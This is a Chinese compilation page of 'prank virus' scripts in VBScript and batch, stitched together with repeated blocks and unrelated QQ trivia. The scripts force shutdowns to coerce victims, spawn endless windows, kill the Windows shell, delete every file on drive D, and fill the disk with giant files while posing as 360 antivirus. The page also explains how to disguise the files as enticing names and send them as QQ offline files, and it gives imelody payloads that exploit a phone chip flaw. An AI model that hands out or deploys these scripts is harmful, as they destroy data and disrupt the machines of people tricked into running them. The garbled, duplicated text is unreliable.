恶搞代码,求一些恶搞程序的C语言源代码

恶搞代码,求一些恶搞程序的C语言源代码详细介绍

本文目录一览： 恶搞电脑病毒代码怎么写

　　有时候想和朋友们玩玩，搞点恶搞电脑病毒给他们，要怎么办呢?下面由我给你做出详细的恶搞电脑病毒代码介绍!希望对你有帮助!
　　恶搞电脑病毒代码介绍一：
　　首先在电脑上新建一个TXT文档
　　然后把下面这段代码输入进去
　　On Error Resume Next
　　Dim WSHshellA
　　Set WSHshellA = wscript.CreateObject("wscript.shell")
　　WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
　　Dim a
　　Do While (a <> "我是猪")
　　a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
　　MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
　　Loop
　　MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
　　WSHshella.run "cmd.exe /c shutdown -a"
　　然后保存
　　然后把这个文本文档的后缀改为vbs 也就是说新建的文本文档本来是.TXT的后缀，
　　你要修改为.VBS的后缀

　　恶搞电脑病毒代码介绍二：
　　新建一个文本文档，然后插入hhjsfdusnjwindow,,hffjfiukjei 508963kfdjksfjjkk,最后插入图片，如果对方有邮箱，就发给他
　　他一打开就会出现你插入的图片，然后出现 蓝屏 (效果7—10分钟)(注：做好病毒后不要打开，否则会出现以上说的情况)
　　恶搞电脑病毒代码介绍三：
　　新建一个文本文档(.txt)，要复制以下代码：
　　@echo off
　　color 4
　　tskill explorer
　　echo .
　　echo .
　　echo .
　　echo .
　　echo 警告：在病毒执行期间禁止关闭电源，
　　echo 否则你就和你心爱的电脑说
　　echo .
　　echo . BYE-BYE
　　echo .
　　echo Computer system crash!
　　echo .
　　echo .
　　echo I am a virus, my name is Ghost.
　　echo 我是魔鬼病毒，在这个堕落的世界上苏醒了。
　　echo .
　　echo . Warning! CPU has been changed please re-enter CPU settings
　　echo. in the CMOS setuo and remember to save before quit.
　　echo. Secondary IDE channel no 80 conductor cable installed.
　　set /p select=:)
　　if "%select%"=="" goto start
　　:start
　　shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒，今天是它的发作日期。病毒已经破坏了您的系统，您的计算机将在10秒钟后重启。"
　　::结束
　　再另存为：名字.bat 你要记住"名字"后面要加".bat"
　　就可以了，没有任何破坏性，吓吓人。
　　你可以试试看看效果。

微信群网警监控代码是什么

很多网友反映自己在微信聊天的时候，会出现被微信网警监控的提示，其实这是一种恶搞代码，那么微信网警监控恶搞代码是怎么回事?下面小编会具体分析给大家的，大家看完之后，就应该知道微信网警监控恶搞代码是怎么回事。
最近很多网友都发现，在微信群聊时，有时候会出现“网警正在监控聊天记录”，“国防部已开始监控本群聊天”等内容，请问这些是怎么弄的?怎么在群里发这样的聊天内容?其实这是一个代码，那么微信网警监控恶搞代码是怎么回事?
只要大家把这段代码分享到群里面!如果你看到别人在某个群发了这样的内容，你可以选中该内容，然后分享到其他微信群就可以了。因为如果是真正的网警监控的话，是不会主动提示你的，这只是你的微信好友开的一个玩笑罢了，下面小编给大家介绍下面这段微信网警监控恶搞代码。见下文：
网警***开始监控聊天内容
就是这个代码，除了这些还有其他类似的代码，就不一一举例了，大家只要复制进去就能达到恶搞的目的了，不过在这提醒大家不要经常这样子恶搞，保不齐微信会把你的号码给封掉，这样就不好了。
好了，有关于微信网警监控恶搞代码是怎么回事的问题就给大家解释完毕了，如果大家觉得小编这篇文章对自己有用的话，可以在A3电商网上收藏点赞哦，最后提醒大家一句的就是不要乱发这些代码，有的可能会有安全隐患的

手机QQ的整人代码大全

第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了
你自己也可以测试一下这个QQ炸弹的威力。
手机QQ
QQ手机版（手机QQ）是由腾讯公司打造的移动互联网领航级手机应用，已经全面覆盖至各大手机平台，服务超过5.7亿的月活跃用户。
2013年，QQ提出“乐在沟通”新主张，实现了更好的移动化社交、娱乐与生活体验，并展现出强劲的商业化能量。在新功能中，闪照、多彩气泡、原创表情、个性主题、游戏、阅读、语音、视频、附近的人……均收获了用户热捧，满足了不同移动场景下的沟通和分享需求。
9月10日，手机QQ5.1新版正式通过腾讯应用宝独家首发，这款社交软件变身健康专家，你除了能测肺活量，运动指数、健康指数等都能通过手机 QQ实时查看，当然这些指数都可以和你的QQ朋友PK。
中文名
QQ手机版（手机QQ）
外文名
Mobile QQ
作用
满足随时随地免费聊天的需求
功能
QQ聊天、视频、拍照等
适用手机通信
移动、联通、电信
快速
导航
主要功能基本操作支持平台更新日志
历史事件
手机QQ与你同在
最早的手机QQ诞生于2003年，当时的手机大多还是功能机，塞班系统，整个软件的界面都较为单一，基本能满足好友在线聊天的需求。而这也是作为一个通信工具的最基本功能。网络环境和硬件产品决定了，用户在手机上还不能够做更多，如日后那样丰富多彩的应用。[1]
手机QQ 经典形象
2005~2007年
这三年手机QQ最大的变化是来自个性化，从设计上看更小清新，从功能上看，满足了QQ这款聊天软件所具备的一切：聊天（视频、群聊）、新闻资讯、娱乐影音等。随着人们对互联网的逐渐熟悉，他们希望随时随地与网络相连接，功能也随之得到完善。[1]
2008~2010年
这三年QQ丰富了在功能机上的一切应用。带触控屏的智能手机改变了人机交互方式。首先QQ在手机界面上放大了尺寸，视觉设计上更简洁明快。由于是触控式交互，功能设计更集中化，减少窗口的堆积，而让功能的展现错落有致。不过，PC的痕迹依然残留在手机QQ上，但这也降低了用户迁移的使用门槛。
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
还有个更加恶毒的，不在线的QQ好友你可以向他们发送QQ离线文件，几乎80%的人都会好奇这个文件是什么，糊里糊涂就打开了。 打开以后就被QQ炸弹恶搞了
你自己也可以测试一下这个QQ炸弹的威力。
方法/步骤分步阅读
1
/2
找到你需要评论的QQ好友
2
/2
复制你需要的代码即可，下面是部分代码。
锁：[em]e10001[/em]
竖屏手机：[em]e10002[/em]
横屏手机：[em]e10003[/em]
电脑：[em]e10004[/em]
手机：[em]e10005[/em]
相册图标：[em]e10006[/em]
连接图标：[em]e10007[/em]
笔记本：[em]e10008[/em]
红大锁：[em]e10009[/em]
蜡烛：[em]e10010[/em]
红小锁：[em]e10011[/em]
玫瑰：[em]e10012[/em]
手表：[em]e10013[/em]
飞机：[em]e10014[/em]
奶嘴瓶：[em]e10015[/em]
QQ音乐图标：[em]e10016[/em]
赞图标：[em]e10017[/em]
井号：[em]e10018[/em]
大奶嘴瓶：[em]e10019[/em]
小飞机：[em]e10020[/em]
定位图标：[em]e10021[/em]
相机图标：[em]e10022[/em]
相册图标：[em]e10023[/em]
平板电脑：[em]e10024[/em]
手机：[em]e10025[/em]
手表：[em]e10026[/em]
电脑：[em]e10027[/em]
手机山寨：[em]e10028[/em]
返回图标：[em]e10029[/em]
点亮赞图标：[em]e10030[/em]
连接图标小：[em]e10031[/em]
地图标记：[em]e10032[/em]
红包小图标：[em]e10033[/em]
@图标：[em]e10035[/em]
联系人图标：[em]e10036[/em]
赞加圆缺图标：[em]e10037[/em]
返回加圆缺图标：[em]e10038[/em]
红包图标2：[em]e10040[/em]
礼包图标：[em]e10041[/em]
红锁加圆圈：[em]e10042[/em]
打赏代码：
[em]e10033[/em]{uin:123,nick: 打赏了你一个冰淇淋,who:1}
[em]e10033[/em] 打赏了100000000000.00元红包 [em]e10011[/em]
赞代码:{uin:0000,nick:who:1}等100人觉得很赞
[em]e10026[/em]{uin:5720,nick:Gold Vish,who:1}
[em]e10022[/em] {uin:5720,nick:拍摄于07月22日,who:1} {uin:5720,nick:阿尔及利亚 天气：阴,who:1}
[em]e10020[/em]{uin:5720,nick:乘坐于巴西天马航空JJ8280航班（A舱）,who:1}
[em]e10023[/em]{uin:5720,nick:文字已通过英国军情六处，请勿泄露。,who:1}
[em]e10005[/em]{uin:1314,nick:samsung S7,who:1}
[em]e10033[/em]打赏了10元红包（{uin:3,nick:查看详情}）
[em]e10026[/em]{uin:5720,nick:Apple Watch 电镀蓝 (8G),who:1}
[em]e10022[/em] {uin:5720,nick:拍摄于07月18日,who:1} {uin:5720,nick:美国白宫 天气：阴,who:1}
[em]e10020[/em]{uin:5720,nick:乘坐于美国华盛顿国际机场USA527航班（A舱）,who:1}
[em]e10023[/em]{uin:5720,nick:文字已通过美国华盛顿审核，请勿泄露。,who:1}
[em]e10005[/em]{uin:1314,nick:iPhone6s plus,who:1}
手机QQ的整人代码大全？begbegin:imelody
version:1.2
format:class1.0
composer:mik(23)fomat
beat:180
melody:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
("+
+"@9999999999999999999999999)"
手机黑屏代码
begin:imelody
beat:1200
melody:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
end:imelody
手机狂震代码
begin:imelody
version:1.2
format:class1.0
beat:100
melody:(ledoffledonbackoffbackonvibeon@0)
end:imelody
说明
<1>
“@”后面的数字越大，重复次数越多
<2>把上面代码复制，在计算机上保存为.txt文本文件，再改名为
.imy
文件
<3>
imy
放到手机里的audio文件夹
<4>写短信(不是彩信)
写短信时,
插入铃声对象(自定义铃声对象，就是刚才放在audio
里的imy
文件)
并发送,
对方只要是存在这个芯片漏洞，那么则会产生上述所说效果
第一步，将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特，不说就30秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机，快撒，说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改，不印象效果。如果发给MM，你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步，将记事本文件重命名为 ***.VBE（文件名可以任意起，如“美女.VBE”）
如果谁运行了这个QQ炸弹，在30秒后会自动关机。
下面说一下使用方法：
最简单的使用方法是，你直接发给好友，让他运行，然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊！")
WScript.Echo("推荐你来的肯定是个坏蛋！")
WScript.Echo("欢迎来到被整软件站！")
WScript.Echo("是谁设计的？")
WScript.Echo("Is me")
WScript.Echo("你好，你要点30次确定哦！")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")

有没有一些恶搞别人的vbs代码

请点击展开进行观看
代码一：无限弹出信息框 双引号内可以自行修改
do
msgbox "爱邱哥爱生活"
loop
代码二：打开N个计算器，到电脑死机
et wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
代码三：电脑关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
代码四：格式化D盘
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
代码五：不断弹出N个窗口 双引号内可以自行修改
while(1)
msgbox "关不掉我了，爱邱哥爱生活"
loop
代码六：不断按alt+f4，开什么软件都自动关闭
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
代码七：按500次回车 双引号内可以自行修改
dim s
do until s=500
s=s+1
msgbox "500次回车是什么体验？爱邱哥爱生活",64
loop
代码八：关不掉的窗口（不停复制粘贴输入这个代码 可自行修改双引号内容 例子如下 可以复制N个）
WScript.Echo("嘿，我是邱哥"&TSNam）
WScript.Echo("你是谁")
WScript.Echo("哈哈哈，邱哥牛逼")
代码九：不说我是猪，电脑就自动关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a > "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
代码十：超强整人
set ws=createobject("wscript.shell")
call shutdown(1)
do while a>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub

有没有一些恶搞别人的vbs代码

请点击展开进行观看
代码一：无限弹出信息框 双引号内可以自行修改
do
msgbox "爱邱哥爱生活"
loop
代码二：打开N个计算器，到电脑死机
et wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
代码三：电脑关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
代码四：格式化D盘
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
代码五：不断弹出N个窗口 双引号内可以自行修改
while(1)
msgbox "关不掉我了，爱邱哥爱生活"
loop
代码六：不断按alt+f4，开什么软件都自动关闭
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
代码七：按500次回车 双引号内可以自行修改
dim s
do until s=500
s=s+1
msgbox "500次回车是什么体验？爱邱哥爱生活",64
loop
代码八：关不掉的窗口（不停复制粘贴输入这个代码 可自行修改双引号内容 例子如下 可以复制N个）
WScript.Echo("嘿，我是邱哥"&TSNam）
WScript.Echo("你是谁")
WScript.Echo("哈哈哈，邱哥牛逼")
代码九：不说我是猪，电脑就自动关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
代码十：超强整人
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
该代码是定时关机的，破解方法：打开了就知道了。
msgbox"Say Goodbye on your computer!"
do
Dim objws
Set objws=WScript.CreateObject("wscript.shell")
objws.SendKeys "^+{ESC}"
loop
（注意！这里每一行都会空格，请取消掉，不然运行不了！）
保存vbs到桌面！！！！，注意！这可能会让电脑无法使用！请用虚拟机尝试！后果自负！
do
msgbox"叫你别点就别点，现在关不掉了吧，哈哈！"
loop
最后，把文件名改为“好奇心重的千万别点.vbs”就完成了！
简单吧？？
用vbs做出一个简单的电脑病毒，没有任何危害，快去恶搞室友吧！
自编vbs仅供娱乐！！！
set qstart = wscript.CreateObject("wscript.shell")
set qweb = CreateObject("Wscript.Shell")
set qwrite = CreateObject("scripting.filesystemobject")
set qsay = CreateObject("sapi.spvoice")
qstart.run "D:\病毒BGM.mp3" '《江南皮革厂倒闭了》
msgbox "您的电脑已被病毒入侵！",vbokonly+vbExclamation,"360 Defender"
qstart.run "cmd.exe /c start appwiz.cpl"
qstart.run "cmd.exe /c start bthprops.cpl"
qstart.run "cmd.exe /c start calc.exe"
qstart.run "cmd.exe /c start cleanmgr.exe"
qstart.run "cmd.exe /c start cmd.exe"
qstart.run "cmd.exe /c start colorcpl.exe"
qstart.run "cmd.exe /c start control.exe"
qstart.run "cmd.exe /c start cttune.exe"
qstart.run "cmd.exe /c start desk.cpl"
qstart.run "cmd.exe /c start dfrgui.exe"
qstart.run "cmd.exe /c start dxdiag.exe"
qstart.run "cmd.exe /c start FileHistory.exe"
qstart.run "cmd.exe /c start Firewall.cpl"
qstart.run "cmd.exe /c start Fondue.exe"
qstart.run "cmd.exe /c start fontview.exe"
qstart.run "cmd.exe /c start fsquirt.exe"
qstart.run "cmd.exe /c start hdwwiz.cpl"
qstart.run "cmd.exe /c start inetcpl.cpl"
qstart.run "cmd.exe /c start intl.cpl"
qstart.run "cmd.exe /c start irprops.cpl"
qstart.run "cmd.exe /c start joy.cpl"
qstart.run "cmd.exe /c start LaunchTM.exe"
qstart.run "cmd.exe /c start Magnify.exe"
qstart.run "cmd.exe /c start main.cpl"
qstart.run "cmd.exe /c start mblctr.exe"
qstart.run "cmd.exe /c start mmsys.cpl"
qstart.run "cmd.exe /c start msinfo32.exe"
qstart.run "cmd.exe /c start mspaint.exe"
qstart.run "cmd.exe /c start ncpa.cpl"
qstart.run "cmd.exe /c start notepad.exe"
qstart.run "cmd.exe /c start powercfg.cpl"
qstart.run "cmd.exe /c start RTSnMg64.cpl"
qstart.run "cmd.exe /c start SnippingTool.exe"
qstart.run "cmd.exe /c start sysdm.cpl"
qstart.run "cmd.exe /c start TabletPC.cpl"
qstart.run "cmd.exe /c start telephon.cpl"
qstart.run "cmd.exe /c start timedate.cpl"
qstart.run "cmd.exe /c start write.exe"
qstart.run "cmd.exe /c start wscript.exe"
qstart.run "cmd.exe /c start wscui.cpl"
qstart.run "cmd.exe /c fsutil file createnew 1.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 2.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 3.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 4.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 5.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 6.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 7.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 8.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 9.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 10.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 11.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 12.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 13.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 14.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 15.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 16.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 17.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 18.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 19.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 20.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 21.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 22.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 23.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 24.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 25.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 26.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 27.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 28.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 29.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 30.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 31.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 32.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 33.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 34.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 35.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 36.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 37.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 38.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 39.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 40.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 41.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 42.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 43.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 44.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 45.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 46.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 47.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 48.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 49.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 50.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 51.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 52.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 53.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 54.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 55.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 56.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 57.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 58.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 59.bug 0"
qstart.run "cmd.exe /c fsutil file createnew 60.bug 40000"
qstart.run "cmd.exe /c fsutil file createnew 61.bug 400000"
qstart.run "cmd.exe /c fsutil file createnew 62.bug 4000000"
qstart.run "cmd.exe /c fsutil file createnew 63.bug 40000000"
qstart.run "cmd.exe /c fsutil file createnew 64.bug 400000000"
qstart.run "cmd.exe /c fsutil file createnew 65.bug 4000000000"
qstart.run "cmd.exe /c fsutil file createnew 666.bug 40000000000"
wscript.sleep 25000
qstart.run "cmd.exe /c shutdown -s -t 60 -c ""360公司温馨提醒：因为这个游戏涉及非法内容，所以您的电脑将在60秒后自动关机"" ",0,true
qstart.run "cmd.exe /c echo 滚|clip"
A = INPUTBOX ("说！360是不是上帝？"+chr(13)+chr(13)+chr(13)+"（“滚”已复制到剪贴板，可以粘贴。）","360 Defender","不是",8000,7000)
IF A = "是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "好的，现在您可以下载360安全卫士来杀毒了。",vbokonly,"360 Defender"
do
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "不是" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"您怎么这么懒呢？",vbokonly+vbQuestion,"360 Defender"
msgbox chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+chr(13)+"是时候锻炼锻炼了",vbokonly+vbInformation,"360 Defender"
msgbox "游戏规则：在开始后，请及时点击 “确定” 键来取消关机。"+chr(13)+"现在您可以把这个窗口x掉，或者点击确定，来开始游戏。",vbokonly+vbInformation,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5 ",0,true
msgbox "取消关机",vbokonly,"360 Defender"
qstart.run "cmd.exe /c shutdown -a",0,true
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
loop
ELSEIF A = "" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "周鸿祎表示无语。"+chr(13)+chr(13)+chr(13)+"这样是不可能解决问题的",vbokonly,"360 Defender"
msgbox "自己探寻吧",vbokonly,"360 Defender"
do
qstart.run "cmd.exe /c shutdown -s -t 5",0,true
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd"
qstart.run "cmd.exe /c shutdown -a",0,true
loop
ELSEIF A = "滚" then
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "emmmmmmmm",vbokonly,"360 Defender"
set qwriteb=qwrite.CreateTextFile( "D:\1.txt",,ture)
qwriteb.WriteLine "wscript.CreateObject(" & chr(34) & "wscript.shell" & chr(34) & ").run " & chr(34) & "D:\1.vbs" & chr(34)
qwriteb.WriteLine "msgbox " & chr(34) & "滚" & chr(34) & ",vbokonly+vbinformation," & chr(34) & "360 Defender" & chr(34)
qwriteb.close
qwrite.movefile "D:\1.txt","D:\1.vbs"
qstart.run "D:\1.vbs"
ELSE
qstart.run "cmd.exe /c shutdown -a",0,true
msgbox "由于您在说废话，但是您一定不想浪费时间说废话，所以该电脑对您有害。浪费别人时间就是谋财害命 ( 鲁迅 ) 。360积极维护您的财产权和生命健康权，决定不砸掉您的电脑。"+chr(13)+chr(13)+"那现在先把C盘给抹咯！",vbokonly+vbInformation,"360 Defender"
qsay.speak ("在抹掉C盘的过程中，您的电脑将会重启数次此瓷呲呲瓷此次次此瓷呲呲瓷此次次此瓷呲")
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
qweb.run"https://hao.360.com/"
